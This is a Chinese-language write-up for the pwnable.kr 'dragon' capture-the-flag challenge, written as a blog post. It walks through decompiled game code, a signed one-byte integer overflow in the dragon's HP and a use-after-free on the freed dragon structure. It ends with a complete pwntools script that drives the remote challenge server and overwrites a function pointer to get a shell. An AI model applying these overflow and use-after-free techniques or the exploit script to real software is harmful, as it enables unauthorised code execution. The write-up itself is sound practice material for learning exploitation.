pwnable.kr dragon writeup

原创

苍崎青子 于 2019-07-13 12:04:11 发布 87 收藏

分类专栏： PWN

丢进IDA里进行分析

程序的逻辑是：

先出现小龙，50HP, 30 damage, 每回合恢复5点血量

可选择人物牧师 或者骑士

牧师的技能：

1.给龙造成20点伤害，耗10点MP

2.恢复50点MP， 耗0点MP

3.一回合无敌，耗25点MP（非常250的技能）

骑士的技能：

1.给龙造成20点伤害

2.给龙造成40点伤害，同时自伤20点HP（杀敌40，自损20，也非常250）

这两个人物的技能靠程序逻辑无法杀龙，只能寻找程序漏洞

```
        }
        else
        {
          puts("HolyShield! You Are Temporarily Invincible...");
          printf("But The Dragon Heals %d HP!\n", *((char *)ptr + 9));
          *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
          *(_DWORD *)(a1 + 8) -= 25;
        }
        break;
      case 1:
        if ( *(_DWORD *)(a1 + 8) <= 9 )
        {
          puts("Not Enough MP!");
        }
        else
        {
          printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
          *((_BYTE *)ptr + 8) -= 20;
          *(_DWORD *)(a1 + 8) -= 10;
          printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
          *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
          printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
          *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
        }
        break;
    }
    if ( *(_DWORD *)(a1 + 4) <= 0 )
    {
      free(ptr);
      return 0;
    }
  }
  while ( *((_BYTE *)ptr + 8) > 0 );
  free(ptr);
  return 1;
}
```


由于龙的血量是一个大小为一个字节的变量存储的，范围为-128~127，这个时候就可以想到整数溢出了，杀龙的判定是龙的血量小于等于0，牧师的3技能与2技能组合起来 能奶龙 4*12 + 8 = 56点HP， 母龙的HP为80， 足够把它奶死了

第一阶段漏洞利用思路：

先用骑士献祭

然后刷出母龙

再上牧师，把母龙奶死，进入如下分支

```
if ( v3 )
{
  puts("Well Done Hero! You Killed The Dragon!");
  puts("The World Will Remember You As:");
  v2 = malloc(0x10u);
  __isoc99_scanf("%16s", v2);
  puts("And The Dragon You Have Defeated Was Called:");
  ((void (__cdecl *)(_DWORD *))*v5)(v5);
}
else
```

把母龙奶死后，会把指向龙的数据的堆区域给释放掉，但是这个分支里却使用了这个指针，触发了uaf漏洞，在给v2分配空间的时候会重用那个堆区域，

所以我们只要输入调用system函数的地址就可以getshell了

Exp:

```python
from pwn import *

context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(proc.pidof(p)[0], gdbscript="b main")

p = remote("pwnable.kr", 9004)


def killdragon():
    p.recvuntil("[ 2 ] Knight\n")
    p.sendline("2")
    p.recvuntil("20 HP.\n")
    p.sendline("2")
    p.recvuntil("[ 2 ] Knight\n")
    p.sendline("1")
    for i in range(4):
        for j in range(2):
            p.recvuntil("You Become Temporarily Invincible.\n")
            p.sendline("3")
        p.recvuntil("You Become Temporarily Invincible.\n")
        p.sendline("2")

killdragon()
p.recvuntil("The World Will Remember You As:\n")
payload = p32(0x08048DBF)

p.sendline(payload)

p.interactive()
```